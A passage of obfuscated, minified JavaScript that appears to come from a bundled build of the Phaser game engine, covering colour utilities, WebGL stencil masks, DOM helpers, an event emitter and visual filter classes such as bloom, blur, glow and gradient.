0x0 === _0xead79e && (_0xead79e = 0xff), new _0x2451e6(_0xff8c65(_0x18fb53, _0xead79e), _0xff8c65(_0x18fb53, _0xead79e), _0xff8c65(_0x18fb53, _0xead79e)); }; }, 0x139cd: (_0x26efd9, _0x41ca91, _0x49aa19) => { var _0x93c191 = _0x49aa19(0x1125e), _0x207d3c = _0x49aa19(0x7594), _0x13f420 = _0x49aa19(0x10d5d), _0x5628b3 = _0x49aa19(0x1555c); _0x26efd9['exports'] = function (_0x3fc1c1) { switch (typeof _0x3fc1c1) { case 'string': return 'rgb' === _0x3fc1c1['substr'](0x0, 0x3)['toLowerCase']() ? _0x5628b3(_0x3fc1c1) : _0x93c191(_0x3fc1c1); case 'number': return _0x207d3c(_0x3fc1c1); case 'object': return _0x13f420(_0x3fc1c1); } }; }, 0xf74: (_0x442745, _0x2751b5, _0x6c24ff) => { var _0x4f0b58 = _0x6c24ff(0xa01b); _0x4f0b58['ColorSpectrum'] = _0x6c24ff(0x16a38), _0x4f0b58['ColorToRGBA'] = _0x6c24ff(0x165c4), _0x4f0b58['ComponentToHex'] = _0x6c24ff(0xf5ed), _0x4f0b58['GetColor'] = _0x6c24ff(0x92d5), _0x4f0b58['GetColor32'] = _0x6c24ff(0x3e8), _0x4f0b58['HexStringToColor'] = _0x6c24ff(0x1125e), _0x4f0b58['HSLToColor'] = _0x6c24ff(0xf2e7), _0x4f0b58['HSVColorWheel'] = _0x6c24ff(0x6d23), _0x4f0b58['HSVToRGB'] = _0x6c24ff(0x1d71), _0x4f0b58['HueToComponent'] = _0x6c24ff(0x15db8), _0x4f0b58['IntegerToColor'] = _0x6c24ff(0x7594), _0x4f0b58['IntegerToRGB'] = _0x6c24ff(0x16228), _0x4f0b58['Interpolate'] = _0x6c24ff(0x3583), _0x4f0b58['ObjectToColor'] = _0x6c24ff(0x10d5d), _0x4f0b58['RandomRGB'] = _0x6c24ff(0x14d8a), _0x4f0b58['RGBStringToColor'] = _0x6c24ff(0x1555c), _0x4f0b58['RGBToHSV'] = _0x6c24ff(0x1571d), _0x4f0b58['RGBToString'] = _0x6c24ff(0x127cb), _0x4f0b58['ValueToColor'] = _0x6c24ff(0x139cd), _0x442745['exports'] = _0x4f0b58; }, 0x6b44: (_0x29696c, _0x3a801f, _0x536b2a) => { _0x29696c['exports'] = { 'Align': _0x536b2a(0x118f6), 'BaseShader': _0x536b2a(0x120a6), 'Bounds': _0x536b2a(0xe564), 'Canvas': _0x536b2a(0x668d), 'Color': _0x536b2a(0xf74), 'ColorMatrix': _0x536b2a(0x15d4e), 'Masks': _0x536b2a(0x11095), 'RGB': _0x536b2a(0xca37) }; }, 0x1aca: (_0x40123a, _0x5cda29, _0x263964) => { var _0x5e0998 = _0x263964(0x145db), _0x165eeb = _0x263964(0x9a05), _0x3798d1 = new _0x5e0998({ 'initialize': function (_0x9e4e18, _0x31f7d6, _0x1e7f7e, _0x3f74ad, _0x1e9aa0, _0x171dfc) { _0x31f7d6 || (_0x31f7d6 = _0x9e4e18['sys']['make']['image']({ 'x': _0x1e7f7e, 'y': _0x3f74ad, 'key': _0x1e9aa0, 'frame': _0x171dfc, 'add': !0x1 })), this['bitmapMask'] = _0x31f7d6, this['invertAlpha'] = !0x1, this['isStencil'] = !0x1; }, 'setBitmap': function (_0x443fbc) { this['bitmapMask'] = _0x443fbc; }, 'preRenderWebGL': function (_0x4b2e4a, _0x24855b, _0x41d805) { _0x4b2e4a['pipelines']['BITMAPMASK_PIPELINE']['beginMask'](this, _0x24855b, _0x41d805); }, 'postRenderWebGL': function (_0x557103, _0x149bd8, _0x50d583) { _0x557103['pipelines']['BITMAPMASK_PIPELINE']['endMask'](this, _0x149bd8, _0x50d583); }, 'preRenderCanvas': function () { }, 'postRenderCanvas': function () { }, 'destroy': function () { this['bitmapMask'] = null; } }); _0x165eeb['register']('bitmapMask', function (_0x277824, _0x576a7b, _0x1c62e3, _0x31930e, _0x4d9014) { return new _0x3798d1(this['scene'], _0x277824, _0x576a7b, _0x1c62e3, _0x31930e, _0x4d9014); }), _0x40123a['exports'] = _0x3798d1; }, 0x13b15: (_0x35f869, _0x40467, _0x959d2b) => { var _0x5def75 = new (_0x959d2b(0x145db))({ 'initialize': function (_0xc2f44b, _0x38a0c9) { this['geometryMask'] = _0x38a0c9, this['invertAlpha'] = !0x1, this['isStencil'] = !0x0, this['level'] = 0x0; }, 'setShape': function (_0x5309cc) { return this['geometryMask'] = _0x5309cc, this; }, 'setInvertAlpha': function (_0x5e9ae2) { return void 0x0 === _0x5e9ae2 && (_0x5e9ae2 = !0x0), this['invertAlpha'] = _0x5e9ae2, this; }, 'preRenderWebGL': function (_0x3357df, _0x10b3e4, _0x3cef77) { var _0x58d799 = _0x3357df['gl']; _0x3357df['flush'](), 0x0 === _0x3357df['maskStack']['length'] && (_0x58d799['enable'](_0x58d799['STENCIL_TEST']), _0x58d799['clear'](_0x58d799['STENCIL_BUFFER_BIT']), _0x3357df['maskCount'] = 0x0), _0x3357df['currentCameraMask']['mask'] !== this && (_0x3357df['currentMask']['mask'] = this), _0x3357df['maskStack']['push']({ 'mask': this, 'camera': _0x3cef77 }), this['applyStencil'](_0x3357df, _0x3cef77, !0x0), _0x3357df['maskCount']++; }, 'applyStencil': function (_0x520057, _0x38c5b3, _0x11a1e1) { var _0x28cacc = _0x520057['gl'], _0x418c9e = this['geometryMask'], _0x533bc6 = _0x520057['maskCount'], _0x50bc93 = 0xff; _0x28cacc['colorMask'](!0x1, !0x1, !0x1, !0x1), _0x11a1e1 ? (_0x28cacc['stencilFunc'](_0x28cacc['EQUAL'], _0x533bc6, _0x50bc93), _0x28cacc['stencilOp'](_0x28cacc['KEEP'], _0x28cacc['KEEP'], _0x28cacc['INCR']), _0x533bc6++) : (_0x28cacc['stencilFunc'](_0x28cacc['EQUAL'], _0x533bc6 + 0x1, _0x50bc93), _0x28cacc['stencilOp'](_0x28cacc['KEEP'], _0x28cacc['KEEP'], _0x28cacc['DECR'])), this['level'] = _0x533bc6, _0x418c9e['renderWebGL'](_0x520057, _0x418c9e, _0x38c5b3), _0x520057['flush'](), _0x28cacc['colorMask'](!0x0, !0x0, !0x0, !0x0), _0x28cacc['stencilOp'](_0x28cacc['KEEP'], _0x28cacc['KEEP'], _0x28cacc['KEEP']), this['invertAlpha'] ? _0x28cacc['stencilFunc'](_0x28cacc['NOTEQUAL'], _0x533bc6, _0x50bc93) : _0x28cacc['stencilFunc'](_0x28cacc['EQUAL'], _0x533bc6, _0x50bc93); }, 'postRenderWebGL': function (_0x9733ac) { var _0x534db2 = _0x9733ac['gl']; _0x9733ac['maskStack']['pop'](), _0x9733ac['maskCount']--, _0x9733ac['flush'](); var _0x2dc2f1 = _0x9733ac['currentMask']; if (0x0 === _0x9733ac['maskStack']['length']) _0x2dc2f1['mask'] = null, _0x534db2['disable'](_0x534db2['STENCIL_TEST']); else { var _0x8db4c = _0x9733ac['maskStack'][_0x9733ac['maskStack']['length'] - 0x1]; _0x8db4c['mask']['applyStencil'](_0x9733ac, _0x8db4c['camera'], !0x1), _0x9733ac['currentCameraMask']['mask'] !== _0x8db4c['mask'] ? (_0x2dc2f1['mask'] = _0x8db4c['mask'], _0x2dc2f1['camera'] = _0x8db4c['camera']) : _0x2dc2f1['mask'] = null; } }, 'preRenderCanvas': function (_0x4cddd5, _0x27812e, _0x1b6ba3) { var _0x29f12f = this['geometryMask']; _0x4cddd5['currentContext']['save'](), _0x29f12f['renderCanvas'](_0x4cddd5, _0x29f12f, _0x1b6ba3, null, null, !0x0), _0x4cddd5['currentContext']['clip'](); }, 'postRenderCanvas': function (_0x127d11) { _0x127d11['currentContext']['restore'](); }, 'destroy': function () { this['geometryMask'] = null; } }); _0x35f869['exports'] = _0x5def75; }, 0x11095: (_0x18c7dd, _0x98fe9c, _0x15b23d) => { _0x18c7dd['exports'] = { 'BitmapMask': _0x15b23d(0x1aca), 'GeometryMask': _0x15b23d(0x13b15) }; }, 0x120a6: (_0x164842, _0x3818f4, _0x45e2a3) => { var _0x5277cd = new (_0x45e2a3(0x145db))({ 'initialize': function (_0x46e407, _0x19d9b0, _0x3d0922, _0xe2d834) { _0x19d9b0 && '' !== _0x19d9b0 || (_0x19d9b0 = ['precision\x20mediump\x20float;', 'uniform\x20vec2\x20resolution;', 'varying\x20vec2\x20fragCoord;', 'void\x20main\x20()\x20{', '\x20\x20\x20\x20vec2\x20uv\x20=\x20fragCoord\x20/\x20resolution.xy;', '\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(uv.xyx,\x201.0);', '}']['join']('\x0a')), _0x3d0922 && '' !== _0x3d0922 || (_0x3d0922 = ['precision\x20mediump\x20float;', 'uniform\x20mat4\x20uProjectionMatrix;', 'uniform\x20mat4\x20uViewMatrix;', 'uniform\x20vec2\x20uResolution;', 'attribute\x20vec2\x20inPosition;', 'varying\x20vec2\x20fragCoord;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()\x20{', '\x20\x20\x20gl_Position\x20=\x20uProjectionMatrix\x20*\x20uViewMatrix\x20*\x20vec4(inPosition,\x201.0,\x201.0);', '\x20\x20\x20fragCoord\x20=\x20vec2(inPosition.x,\x20uResolution.y\x20-\x20inPosition.y);', '\x20\x20\x20outTexCoord\x20=\x20vec2(inPosition.x\x20/\x20uResolution.x,\x20fragCoord.y\x20/\x20uResolution.y);', '}']['join']('\x0a')), void 0x0 === _0xe2d834 && (_0xe2d834 = null), this['key'] = _0x46e407, this['fragmentSrc'] = _0x19d9b0, this['vertexSrc'] = _0x3d0922, this['uniforms'] = _0xe2d834; } }); _0x164842['exports'] = _0x5277cd; }, 0x9dae: _0x2412f8 => { _0x2412f8['exports'] = function (_0x5dc673, _0x1cf6de) { var _0x18ee2c; if (_0x1cf6de) 'string' == typeof _0x1cf6de ? _0x18ee2c = document['getElementById'](_0x1cf6de) : 'object' == typeof _0x1cf6de && 0x1 === _0x1cf6de['nodeType'] && (_0x18ee2c = _0x1cf6de); else { if (_0x5dc673['parentElement'] || null === _0x1cf6de) return _0x5dc673; } return _0x18ee2c || (_0x18ee2c = document['body']), _0x18ee2c['appendChild'](_0x5dc673), _0x5dc673; }; }, 0x14707: (_0x470491, _0x41dc04, _0x248cb4) => { var _0x1cd3eb = _0x248cb4(0x9dae); _0x470491['exports'] = function (_0x1794b9) { var _0x2cb4a1 = _0x1794b9['config']; if (_0x2cb4a1['parent'] && _0x2cb4a1['domCreateContainer']) { var _0x12107c = document['createElement']('div'); _0x12107c['style']['cssText'] = ['display:\x20block;', 'width:\x20' + _0x1794b9['scale']['width'] + 'px;', 'height:\x20' + _0x1794b9['scale']['height'] + 'px;', 'padding:\x200;\x20margin:\x200;', 'position:\x20absolute;', 'overflow:\x20hidden;', 'pointer-events:\x20' + _0x2cb4a1['domPointerEvents'] + ';', 'transform:\x20scale(1);', 'transform-origin:\x20left\x20top;']['join']('\x20'), _0x1794b9['domContainer'] = _0x12107c, _0x1cd3eb(_0x12107c, _0x2cb4a1['parent']); } }; }, 0xdfb0: (_0x552d79, _0x471df4, _0x56d421) => { var _0x3f8f85 = _0x56d421(0x6524); _0x552d79['exports'] = function (_0x5220cb) { if ('complete' !== document['readyState'] && 'interactive' !== document['readyState']) { var _0x3180bd = function () { document['removeEventListener']('deviceready', _0x3180bd, !0x0), document['removeEventListener']('DOMContentLoaded', _0x3180bd, !0x0), window['removeEventListener']('load', _0x3180bd, !0x0), _0x5220cb(); }; document['body'] ? _0x3f8f85['cordova'] ? document['addEventListener']('deviceready', _0x3180bd, !0x1) : (document['addEventListener']('DOMContentLoaded', _0x3180bd, !0x0), window['addEventListener']('load', _0x3180bd, !0x0)) : window['setTimeout'](_0x3180bd, 0x14); } else _0x5220cb(); }; }, 0xe1d3: _0xf0ddbd => { _0xf0ddbd['exports'] = function (_0x351266) { if (!_0x351266) return window['innerHeight']; var _0x2aa9b2 = Math['abs'](window['orientation']), _0x2de8e0 = { 'w': 0x0, 'h': 0x0 }, _0x586dcd = document['createElement']('div'); return _0x586dcd['setAttribute']('style', 'position:\x20fixed;\x20height:\x20100vh;\x20width:\x200;\x20top:\x200'), document['documentElement']['appendChild'](_0x586dcd), _0x2de8e0['w'] = 0x5a === _0x2aa9b2 ? _0x586dcd['offsetHeight'] : window['innerWidth'], _0x2de8e0['h'] = 0x5a === _0x2aa9b2 ? window['innerWidth'] : _0x586dcd['offsetHeight'], document['documentElement']['removeChild'](_0x586dcd), _0x586dcd = null, 0x5a !== Math['abs'](window['orientation']) ? _0x2de8e0['h'] : _0x2de8e0['w']; }; }, 0xb2fa: (_0x3fabab, _0x36d0ee, _0xc7682a) => { var _0x13287d = _0xc7682a(0x34f8); _0x3fabab['exports'] = function (_0x4d183a, _0x2bbc89) { var _0x2fcf40 = window['screen'], _0x548637 = !!_0x2fcf40 && (_0x2fcf40['orientation'] || _0x2fcf40['mozOrientation'] || _0x2fcf40['msOrientation']); return _0x548637 && 'string' == typeof _0x548637['type'] ? _0x548637['type'] : 'string' == typeof _0x548637 ? _0x548637 : 'number' == typeof window['orientation'] ? 0x0 === window['orientation'] || 0xb4 === window['orientation'] ? _0x13287d['ORIENTATION']['PORTRAIT'] : _0x13287d['ORIENTATION']['LANDSCAPE'] : window['matchMedia'] ? window['matchMedia']('(orientation:\x20portrait)')['matches'] ? _0x13287d['ORIENTATION']['PORTRAIT'] : window['matchMedia']('(orientation:\x20landscape)')['matches'] ? _0x13287d['ORIENTATION']['LANDSCAPE'] : void 0x0 : _0x2bbc89 > _0x4d183a ? _0x13287d['ORIENTATION']['PORTRAIT'] : _0x13287d['ORIENTATION']['LANDSCAPE']; }; }, 0x122a3: _0x3fa92b => { _0x3fa92b['exports'] = function (_0x105e1e) { var _0x4bd89d; return '' !== _0x105e1e && ('string' == typeof _0x105e1e ? _0x4bd89d = document['getElementById'](_0x105e1e) : _0x105e1e && 0x1 === _0x105e1e['nodeType'] && (_0x4bd89d = _0x105e1e)), _0x4bd89d || (_0x4bd89d = document['body']), _0x4bd89d; }; }, 0xde04: _0x4b19a6 => { _0x4b19a6['exports'] = function (_0x4eeb1e) { var _0x5f346a = ''; try { window['DOMParser'] ? _0x5f346a = new DOMParser()['parseFromString'](_0x4eeb1e, 'text/xml') : (_0x5f346a = new ActiveXObject('Microsoft.XMLDOM'))['loadXML'](_0x4eeb1e); } catch (_0x13ce02) { _0x5f346a = null; } return _0x5f346a && _0x5f346a['documentElement'] && !_0x5f346a['getElementsByTagName']('parsererror')['length'] ? _0x5f346a : null; }; }, 0x8c06: _0x26754a => { _0x26754a['exports'] = function (_0x2962d9) { _0x2962d9['parentNode'] && _0x2962d9['parentNode']['removeChild'](_0x2962d9); }; }, 0xa854: (_0x4e33d3, _0x31a234, _0x2a8fe8) => { var _0x51b1b6 = _0x2a8fe8(0x145db), _0x293bd7 = _0x2a8fe8(0x7433), _0x693fb8 = new _0x51b1b6({ 'initialize': function () { this['isRunning'] = !0x1, this['callback'] = _0x293bd7, this['isSetTimeOut'] = !0x1, this['timeOutID'] = null, this['delay'] = 0x0; var _0x37db87 = this; this['step'] = function _0x415726(_0x31e98d) { _0x37db87['callback'](_0x31e98d), _0x37db87['isRunning'] && (_0x37db87['timeOutID'] = window['requestAnimationFrame'](_0x415726)); }, this['stepTimeout'] = function _0x25cf20() { _0x37db87['isRunning'] && (_0x37db87['timeOutID'] = window['setTimeout'](_0x25cf20, _0x37db87['delay'])), _0x37db87['callback'](window['performance']['now']()); }; }, 'start': function (_0x57d843, _0x5b3d6d, _0x2e8ca7) { this['isRunning'] || (this['callback'] = _0x57d843, this['isSetTimeOut'] = _0x5b3d6d, this['delay'] = _0x2e8ca7, this['isRunning'] = !0x0, this['timeOutID'] = _0x5b3d6d ? window['setTimeout'](this['stepTimeout'], 0x0) : window['requestAnimationFrame'](this['step'])); }, 'stop': function () { this['isRunning'] = !0x1, this['isSetTimeOut'] ? clearTimeout(this['timeOutID']) : window['cancelAnimationFrame'](this['timeOutID']); }, 'destroy': function () { this['stop'](), this['callback'] = _0x293bd7; } }); _0x4e33d3['exports'] = _0x693fb8; }, 0x14ba6: (_0x22de9b, _0x4f2861, _0x5badd1) => { var _0x445187 = { 'AddToDOM': _0x5badd1(0x9dae), 'DOMContentLoaded': _0x5badd1(0xdfb0), 'GetInnerHeight': _0x5badd1(0xe1d3), 'GetScreenOrientation': _0x5badd1(0xb2fa), 'GetTarget': _0x5badd1(0x122a3), 'ParseXML': _0x5badd1(0xde04), 'RemoveFromDOM': _0x5badd1(0x8c06), 'RequestAnimationFrame': _0x5badd1(0xa854) }; _0x22de9b['exports'] = _0x445187; }, 0xb9cd: (_0x530582, _0x4c662c, _0x298c94) => { var _0x41709c = _0x298c94(0x145db), _0x47e02c = _0x298c94(0xc668), _0x152f2b = _0x298c94(0x919d), _0x187fd6 = new _0x41709c({ 'Extends': _0x47e02c, 'initialize': function () { _0x47e02c['call'](this); }, 'shutdown': function () { this['removeAllListeners'](); }, 'destroy': function () { this['removeAllListeners'](); } }); _0x152f2b['register']('EventEmitter', _0x187fd6, 'events'), _0x530582['exports'] = _0x187fd6; }, 0x16b7f: (_0x5e7d89, _0x116d9b, _0x301a51) => { _0x5e7d89['exports'] = { 'EventEmitter': _0x301a51(0xb9cd) }; }, 0x4e9a: (_0x128d93, _0x56b9bd, _0x5dec36) => { var _0x378b14 = _0x5dec36(0x145db), _0x3606ef = _0x5dec36(0x11cc2), _0x58d076 = _0x5dec36(0x39db), _0x338dd4 = new _0x378b14({ 'Extends': _0x3606ef, 'initialize': function (_0x59aaed, _0x3264f9) { void 0x0 === _0x3264f9 && (_0x3264f9 = 0x1), _0x3606ef['call'](this, _0x58d076['BARREL'], _0x59aaed), this['amount'] = _0x3264f9; } }); _0x128d93['exports'] = _0x338dd4; }, 0x7dfb: (_0x4479c0, _0x91c017, _0x2117bb) => { var _0x352f6d = _0x2117bb(0x145db), _0x25f49a = _0x2117bb(0x11cc2), _0x2bbb7c = _0x2117bb(0x39db), _0x3506fa = new _0x352f6d({ 'Extends': _0x25f49a, 'initialize': function (_0x1feccb, _0x15a2f4, _0xf2cc61, _0x321f6b, _0x1a82d7, _0x16b5d6, _0x51d7f2) { void 0x0 === _0xf2cc61 && (_0xf2cc61 = 0x1), void 0x0 === _0x321f6b && (_0x321f6b = 0x1), void 0x0 === _0x1a82d7 && (_0x1a82d7 = 0x1), void 0x0 === _0x16b5d6 && (_0x16b5d6 = 0x1), void 0x0 === _0x51d7f2 && (_0x51d7f2 = 0x4), _0x25f49a['call'](this, _0x2bbb7c['BLOOM'], _0x1feccb), this['steps'] = _0x51d7f2, this['offsetX'] = _0xf2cc61, this['offsetY'] = _0x321f6b, this['blurStrength'] = _0x1a82d7, this['strength'] = _0x16b5d6, this['glcolor'] = [0x1, 0x1, 0x1], null != _0x15a2f4 && (this['color'] = _0x15a2f4); }, 'color': { 'get': function () { var _0xd8c621 = this['glcolor']; return (0xff * _0xd8c621[0x0] << 0x10) + (0xff * _0xd8c621[0x1] << 0x8) + (0xff * _0xd8c621[0x2] | 0x0); }, 'set': function (_0x138091) { var _0x5a6f1f = this['glcolor']; _0x5a6f1f[0x0] = (_0x138091 >> 0x10 & 0xff) / 0xff, _0x5a6f1f[0x1] = (_0x138091 >> 0x8 & 0xff) / 0xff, _0x5a6f1f[0x2] = (0xff & _0x138091) / 0xff; } } }); _0x4479c0['exports'] = _0x3506fa; }, 0x2357: (_0x148d9e, _0x547951, _0x1b183a) => { var _0x1b5658 = _0x1b183a(0x145db), _0x352df4 = _0x1b183a(0x11cc2), _0x4ae5c3 = _0x1b183a(0x39db), _0x5b4b77 = new _0x1b5658({ 'Extends': _0x352df4, 'initialize': function (_0x32d036, _0xc0f917, _0x430943, _0x53d5c7, _0x28a0ab, _0x586a82, _0x5dea67) { void 0x0 === _0xc0f917 && (_0xc0f917 = 0x0), void 0x0 === _0x430943 && (_0x430943 = 0x2), void 0x0 === _0x53d5c7 && (_0x53d5c7 = 0x2), void 0x0 === _0x28a0ab && (_0x28a0ab = 0x1), void 0x0 === _0x5dea67 && (_0x5dea67 = 0x4), _0x352df4['call'](this, _0x4ae5c3['BLUR'], _0x32d036), this['quality'] = _0xc0f917, this['x'] = _0x430943, this['y'] = _0x53d5c7, this['steps'] = _0x5dea67, this['strength'] = _0x28a0ab, this['glcolor'] = [0x1, 0x1, 0x1], null != _0x586a82 && (this['color'] = _0x586a82); }, 'color': { 'get': function () { var _0x345df7 = this['glcolor']; return (0xff * _0x345df7[0x0] << 0x10) + (0xff * _0x345df7[0x1] << 0x8) + (0xff * _0x345df7[0x2] | 0x0); }, 'set': function (_0x4c65fc) { var _0x73f118 = this['glcolor']; _0x73f118[0x0] = (_0x4c65fc >> 0x10 & 0xff) / 0xff, _0x73f118[0x1] = (_0x4c65fc >> 0x8 & 0xff) / 0xff, _0x73f118[0x2] = (0xff & _0x4c65fc) / 0xff; } } }); _0x148d9e['exports'] = _0x5b4b77; }, 0x6ced: (_0x2bfeb8, _0xb54819, _0x63f4ef) => { var _0x366534 = _0x63f4ef(0x145db), _0x426105 = _0x63f4ef(0x11cc2), _0x4ef50b = _0x63f4ef(0x39db), _0x5ad9b2 = new _0x366534({ 'Extends': _0x426105, 'initialize': function (_0x55d9a0, _0x52b0ff, _0x105b8d, _0x306ef9, _0x552261, _0x4cf5e1, _0x33a0a1, _0x4c1f07) { void 0x0 === _0x52b0ff && (_0x52b0ff = 0.5), void 0x0 === _0x105b8d && (_0x105b8d = 0x1), void 0x0 === _0x306ef9 && (_0x306ef9 = 0.2), void 0x0 === _0x552261 && (_0x552261 = !0x1), void 0x0 === _0x4cf5e1 && (_0x4cf5e1 = 0x1), void 0x0 === _0x33a0a1 && (_0x33a0a1 = 0x1), void 0x0 === _0x4c1f07 && (_0x4c1f07 = 0x1), _0x426105['call'](this, _0x4ef50b['BOKEH'], _0x55d9a0), this['radius'] = _0x52b0ff, this['amount'] = _0x105b8d, this['contrast'] = _0x306ef9, this['isTiltShift'] = _0x552261, this['strength'] = _0x4c1f07, this['blurX'] = _0x4cf5e1, this['blurY'] = _0x33a0a1; } }); _0x2bfeb8['exports'] = _0x5ad9b2; }, 0x3122: (_0x5f5a12, _0x20669c, _0x3a730d) => { var _0x5e2340 = _0x3a730d(0x145db), _0xc670d6 = _0x3a730d(0x11cc2), _0x54c3b2 = _0x3a730d(0x39db), _0x26cb63 = new _0x5e2340({ 'Extends': _0xc670d6, 'initialize': function (_0x6cb334, _0x5b600a, _0x5d6889, _0x20b8ca, _0x530418, _0x49f209) { void 0x0 === _0x5b600a && (_0x5b600a = 0x8), void 0x0 === _0x530418 && (_0x530418 = 0x1), void 0x0 === _0x49f209 && (_0x49f209 = 0.005), _0xc670d6['call'](this, _0x54c3b2['CIRCLE'], _0x6cb334), this['scale'] = _0x530418, this['feather'] = _0x49f209, this['thickness'] = _0x5b600a, this['glcolor'] = [0x1, 0.2, 0.7], this['glcolor2'] = [0x1, 0x0, 0x0, 0.4], null != _0x5d6889 && (this['color'] = _0x5d6889), null != _0x20b8ca && (this['backgroundColor'] = _0x20b8ca); }, 'color': { 'get': function () { var _0x952c76 = this['glcolor']; return (0xff * _0x952c76[0x0] << 0x10) + (0xff * _0x952c76[0x1] << 0x8) + (0xff * _0x952c76[0x2] | 0x0); }, 'set': function (_0x25ef44) { var _0x599b86 = this['glcolor']; _0x599b86[0x0] = (_0x25ef44 >> 0x10 & 0xff) / 0xff, _0x599b86[0x1] = (_0x25ef44 >> 0x8 & 0xff) / 0xff, _0x599b86[0x2] = (0xff & _0x25ef44) / 0xff; } }, 'backgroundColor': { 'get': function () { var _0x3f6402 = this['glcolor2']; return (0xff * _0x3f6402[0x0] << 0x10) + (0xff * _0x3f6402[0x1] << 0x8) + (0xff * _0x3f6402[0x2] | 0x0); }, 'set': function (_0x438237) { var _0x1866d1 = this['glcolor2']; _0x1866d1[0x0] = (_0x438237 >> 0x10 & 0xff) / 0xff, _0x1866d1[0x1] = (_0x438237 >> 0x8 & 0xff) / 0xff, _0x1866d1[0x2] = (0xff & _0x438237) / 0xff; } }, 'backgroundAlpha': { 'get': function () { return this['glcolor2'][0x3]; }, 'set': function (_0x18e005) { this['glcolor2'][0x3] = _0x18e005; } } }); _0x5f5a12['exports'] = _0x26cb63; }, 0x3dba: (_0x5a37a5, _0x6c535, _0xef6f16) => { var _0x5bda0e = _0xef6f16(0x145db), _0x197c24 = _0xef6f16(0x15d4e), _0x41c8ba = _0xef6f16(0x39db), _0x5c7ff9 = new _0x5bda0e({ 'Extends': _0x197c24, 'initialize': function (_0x381978) { _0x197c24['call'](this), this['type'] = _0x41c8ba['COLOR_MATRIX'], this['gameObject'] = _0x381978, this['active'] = !0x0; }, 'destroy': function () { this['gameObject'] = null, this['_matrix'] = null, this['_data'] = null; } }); _0x5a37a5['exports'] = _0x5c7ff9; }, 0x11cc2: (_0x23fc2e, _0x91cdbd, _0x404f86) => { var _0x2faa72 = new (_0x404f86(0x145db))({ 'initialize': function (_0x5a4ed1, _0x49a6ac) { this['type'] = _0x5a4ed1, this['gameObject'] = _0x49a6ac, this['active'] = !0x0; }, 'setActive': function (_0x2f05c8) { return this['active'] = _0x2f05c8, this; }, 'destroy': function () { this['gameObject'] = null, this['active'] = !0x1; } }); _0x23fc2e['exports'] = _0x2faa72; }, 0xae09: (_0xeb2d60, _0x1fa9ba, _0x5ce99e) => { var _0x4a9e46 = _0x5ce99e(0x145db), _0x1c69d3 = _0x5ce99e(0x11cc2), _0x245b7b = _0x5ce99e(0x39db), _0x488743 = new _0x4a9e46({ 'Extends': _0x1c69d3, 'initialize': function (_0x425297, _0x45525c, _0x3a1059, _0x4a99ac) { void 0x0 === _0x45525c && (_0x45525c = '__WHITE'), void 0x0 === _0x3a1059 && (_0x3a1059 = 0.005), void 0x0 === _0x4a99ac && (_0x4a99ac = 0.005), _0x1c69d3['call'](this, _0x245b7b['DISPLACEMENT'], _0x425297), this['x'] = _0x3a1059, this['y'] = _0x4a99ac, this['glTexture'], this['setTexture'](_0x45525c); }, 'setTexture': function (_0x3ed393) { var _0x154143 = this['gameObject']['scene']['sys']['textures']['getFrame'](_0x3ed393); return _0x154143 && (this['glTexture'] = _0x154143['glTexture']), this; } }); _0xeb2d60['exports'] = _0x488743; }, 0x10bb3: (_0x5bd1fe, _0x2fb7d6, _0x1a1e2f) => { var _0x12d933 = _0x1a1e2f(0x145db), _0x1ab741 = _0x1a1e2f(0x11cc2), _0x277fbd = _0x1a1e2f(0x39db), _0x2303cd = new _0x12d933({ 'Extends': _0x1ab741, 'initialize': function (_0xffab5c, _0x481eee, _0x5f448c, _0x59515d, _0x2abea9) { void 0x0 === _0x5f448c && (_0x5f448c = 0x4), void 0x0 === _0x59515d && (_0x59515d = 0x0), void 0x0 === _0x2abea9 && (_0x2abea9 = !0x1), _0x1ab741['call'](this, _0x277fbd['GLOW'], _0xffab5c), this['outerStrength'] = _0x5f448c, this['innerStrength'] = _0x59515d, this['knockout'] = _0x2abea9, this['glcolor'] = [0x1, 0x1, 0x1, 0x1], void 0x0 !== _0x481eee && (this['color'] = _0x481eee); }, 'color': { 'get': function () { var _0x9be977 = this['glcolor']; return (0xff * _0x9be977[0x0] << 0x10) + (0xff * _0x9be977[0x1] << 0x8) + (0xff * _0x9be977[0x2] | 0x0); }, 'set': function (_0x1cb985) { var _0x41dfc8 = this['glcolor']; _0x41dfc8[0x0] = (_0x1cb985 >> 0x10 & 0xff) / 0xff, _0x41dfc8[0x1] = (_0x1cb985 >> 0x8 & 0xff) / 0xff, _0x41dfc8[0x2] = (0xff & _0x1cb985) / 0xff; } } }); _0x5bd1fe['exports'] = _0x2303cd; }, 0x90ee: (_0x4d3162, _0x50c81e, _0x30d2fa) => { var _0x1cfcc1 = _0x30d2fa(0x145db), _0x1ccd09 = _0x30d2fa(0x11cc2), _0x238f33 = _0x30d2fa(0x39db), _0x27f8cc = new _0x1cfcc1({ 'Extends': _0x1ccd09, 'initialize': function (_0x5d3f13, _0x44756a, _0x134e95, _0x2efe98, _0x19052b, _0x117ab2, _0x5e261b, _0x182d1c, _0x2428d1) { void 0x0 === _0x2efe98 && (_0x2efe98 = 0.2), void 0x0 === _0x19052b && (_0x19052b = 0x0), void 0x0 === _0x117ab2 && (_0x117ab2 = 0x0), void 0x0 === _0x5e261b && (_0x5e261b = 0x0), void 0x0 === _0x182d1c && (_0x182d1c = 0x1), void 0x0 === _0x2428d1 && (_0x2428d1 = 0x0), _0x1ccd09['call'](this, _0x238f33['GRADIENT'], _0x5d3f13), this['alpha'] = _0x2efe98, this['size'] = _0x2428d1, this['fromX'] = _0x19052b, this['fromY'] = _0x117ab2, this['toX'] = _0x5e261b, this['toY'] = _0x182d1c, this['glcolor1'] = [0xff, 0x0, 0x0], this['glcolor2'] = [0x0, 0xff, 0x0], null != _0x44756a && (this['color1'] = _0x44756a), null != _0x134e95 && (this['color2'] = _0x134e95); }, 'color1': { 'get': function () { var _0x5d2ec0 = this['glcolor1']; return (_0x5d2ec0[0x0] << 0x10) + (_0x5d2ec0[0x1] << 0x8) + (0x0 | _0x5d2ec0[0x2]); }, 'set': function (_0x21518a) { var _0x3d0c69 = this['glcolor1']; _0x3d0c69[0x0] = _0x21518a >> 0x10 & 0xff, _0x3d0c69[0x1] = _0x21518a >> 0x8 & 0xff, _0x3d0c69[0x2] = 0xff & _0x21518a; } }, 'color2': { 'get': function () { var _0x28fe22 = this['glcolor2']; return (_0x28fe22[0x0] << 0x10) + (_0x28fe22[0x1] << 0x8) + (0x0 | _0x28fe22[0x2]); }, 'set': function (_0x119064) { var _0x3c3e8c = this['glcolor2']; _0x3c3e8c[0x0] = _0x119064 >> 0x10 & 0xff, 